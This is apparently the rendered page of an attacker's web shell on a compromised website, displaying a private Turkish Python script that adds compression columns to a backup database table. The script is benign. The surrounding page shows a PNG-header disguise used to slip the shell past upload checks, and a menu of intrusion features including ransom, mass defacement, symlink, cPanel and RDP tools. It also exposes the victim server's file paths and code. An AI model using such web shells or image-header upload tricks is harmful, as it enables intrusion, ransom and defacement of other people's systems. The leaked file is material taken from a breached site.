\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv8/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv8/add_compression_columns_direct.py


#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
yedekleDB24 için veritabanı şeması güncelleme scripti.
Bu script, yedeklerin sıkıştırılması için gerekli sütunları ekler.
Bu versiyon, .env dosyasını okuyan ve doğrudan bağlantı bilgisini kabul eden bir versiyondur.
"""

import os
import sys
import logging
import sqlalchemy
from sqlalchemy import create_engine, MetaData, Table, Column, Boolean, String
from sqlalchemy.exc import SQLAlchemyError

# Logging yapılandırması
logging.basicConfig(level=logging.INFO,
                  format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

# .env dosyasını yüklemeyi dene
try:
    from dotenv import load_dotenv
    load_dotenv()
    logger.info(".env dosyası yüklendi.")
except ImportError:
    logger.warning("python-dotenv yüklü değil, .env dosyası yüklenemiyor.")
except Exception as e:
    logger.warning(f".env dosyası yüklenirken hata: {str(e)}")

def get_database_url():
    """Veritabanı URL'sini çevre değişkeninden alır veya kullanıcıya sorar."""
    db_url = os.environ.get('DATABASE_URL')
    
    if not db_url:
        logger.warning("DATABASE_URL çevre değişkeni bulunamadı.")
        
        # PostgreSQL bağlantı parametrelerini kontrol et
        host = os.environ.get('PGHOST', 'localhost')
        port = os.environ.get('PGPORT', '5432')
        user = os.environ.get('PGUSER', 'postgres')
        password = os.environ.get('PGPASSWORD', '')
        database = os.environ.get('PGDATABASE', 'yedekle24_db')
        
        # Bu parametrelerden URL oluştur
        db_url = f"postgresql://{user}:{password}@{host}:{port}/{database}"
        logger.info(f"Oluşturulan veritabanı URL'si: postgresql://{user}:****@{host}:{port}/{database}")
    
    return db_url

def add_compression_columns():
    """Sıkıştırma için gerekli sütunları ekler."""
    try:
        # Veritabanı bağlantısı
        db_url = get_database_url()
        engine = create_engine(db_url)
        metadata = MetaData()
        metadata.reflect(bind=engine)
        
        # BackupJob tablosuna sıkıştırma sütunlarını ekle
        if 'backup_job' in metadata.tables:
            backup_job = metadata.tables['backup_job']
            
            with engine.begin() as connection:
                # compress_backup sütunu ekle (varsa kontrol et)
                if 'compress_backup' not in backup_job.columns:
                    connection.execute(sqlalchemy.text(
                        "ALTER TABLE backup_job ADD COLUMN compress_backup BOOLEAN DEFAULT TRUE"
                    ))
                    logger.info("compress_backup sütunu eklendi.")
                else:
                    logger.info("compress_backup sütunu zaten mevcut.")
                
                # compression_type sütunu ekle (varsa kontrol et)
                if 'compression_type' not in backup_job.columns:
                    connection.execute(sqlalchemy.text(
                        "ALTER TABLE backup_job ADD COLUMN compression_type VARCHAR(16) DEFAULT 'zip'"
                    ))
                    logger.info("compression_type sütunu eklendi.")
                else:
                    logger.info("compression_type sütunu zaten mevcut.")
                
            logger.info("Yedek işleri tablosuna sıkıştırma sütunları başarıyla eklendi.")
            return True
        else:
            logger.error("backup_job tablosu bulunamadı!")
            return False
            
    except SQLAlchemyError as e:
        logger.error(f"Veritabanı hatası: {str(e)}")
        return False
    except Exception as e:
        logger.error(f"Beklenmeyen hata: {str(e)}")
        return False

def get_database_info_from_user():
    """Kullanıcıdan veritabanı bilgilerini ister ve URL oluşturur."""
    print("\nVeritabanı bağlantı bilgileri gerekli.")
    host = input("Veritabanı sunucusu (varsayılan: localhost): ") or "localhost"
    port = input("Port (varsayılan: 5432): ") or "5432"
    user = input("Kullanıcı adı (varsayılan: postgres): ") or "postgres"
    password = input("Şifre: ")
    database = input("Veritabanı adı (varsayılan: yedekle24_db): ") or "yedekle24_db"
    
    db_url = f"postgresql://{user}:{password}@{host}:{port}/{database}"
    return db_url

def add_compression_columns_with_custom_connection(host, port, user, password, database):
    """Özel bağlantı bilgileriyle sıkıştırma sütunlarını ekler."""
    try:
        # Bağlantı URL'si oluştur
        db_url = f"postgresql://{user}:{password}@{host}:{port}/{database}"
        logger.info(f"Özel veritabanı bağlantısı: postgresql://{user}:****@{host}:{port}/{database}")
        
        # SQLAlchemy motoru oluştur
        engine = create_engine(db_url)
        metadata = MetaData()
        metadata.reflect(bind=engine)
        
        # BackupJob tablosuna sıkıştırma sütunlarını ekle
        if 'backup_job' in metadata.tables:
            backup_job = metadata.tables['backup_job']
            
            with engine.begin() as connection:
                # compress_backup sütunu ekle (varsa kontrol et)
                if 'compress_backup' not in backup_job.columns:
                    connection.execute(sqlalchemy.text(
                        "ALTER TABLE backup_job ADD COLUMN compress_backup BOOLEAN DEFAULT TRUE"
                    ))
                    logger.info("compress_backup sütunu eklendi.")
                else:
                    logger.info("compress_backup sütunu zaten mevcut.")
                
                # compression_type sütunu ekle (varsa kontrol et)
                if 'compression_type' not in backup_job.columns:
                    connection.execute(sqlalchemy.text(
                        "ALTER TABLE backup_job ADD COLUMN compression_type VARCHAR(16) DEFAULT 'zip'"
                    ))
                    logger.info("compression_type sütunu eklendi.")
                else:
                    logger.info("compression_type sütunu zaten mevcut.")
                
            logger.info("Yedek işleri tablosuna sıkıştırma sütunları başarıyla eklendi.")
            return True
        else:
            logger.error("backup_job tablosu bulunamadı!")
            return False
            
    except SQLAlchemyError as e:
        logger.error(f"Veritabanı hatası: {str(e)}")
        return False
    except Exception as e:
        logger.error(f"Beklenmeyen hata: {str(e)}")
        return False

def main():
    """Ana fonksiyon"""
    try:
        logger.info("Veritabanı şemasına sıkıştırma sütunları ekleniyor...")
        
        if len(sys.argv) > 1 and sys.argv[1] == '--interactive':
            # Etkileşimli mod
            db_url = get_database_info_from_user()
            # URL'yi parçala
            from urllib.parse import urlparse
            url = urlparse(db_url)
            user = url.username
            password = url.password
            host = url.hostname
            port = url.port or 5432
            path = url.path.lstrip('/')  # başındaki / karakterini kaldır
            
            success = add_compression_columns_with_custom_connection(host, port, user, password, path)
        else:
            # Otomatik mod
            success = add_compression_columns()
            
            # Başarısız olduysa, etkileşimli moda geçmeyi öner
            if not success:
                print("\nOtomatik veritabanı bağlantısı başarısız oldu.")
                user_input = input("Veritabanı bilgilerini manuel girmek ister misiniz? (e/h): ")
                if user_input.lower() in ['e', 'evet', 'y', 'yes']:
                    db_url = get_database_info_from_user()
                    # URL'yi parçala
                    from urllib.parse import urlparse
                    url = urlparse(db_url)
                    user = url.username
                    password = url.password
                    host = url.hostname
                    port = url.port or 5432
                    path = url.path.lstrip('/')  # başındaki / karakterini kaldır
                    
                    success = add_compression_columns_with_custom_connection(host, port, user, password, path)
        
        if success:
            logger.info("Veritabanı şeması başarıyla güncellendi.")
            return 0
        else:
            logger.error("Veritabanı şeması güncellenemedi!")
            return 1
            
    except Exception as e:
        logger.error(f"İşlem sırasında hata oluştu: {str(e)}")
        return 1

if __name__ == "__main__":
    sys.exit(main())

© KUJUNTI.ID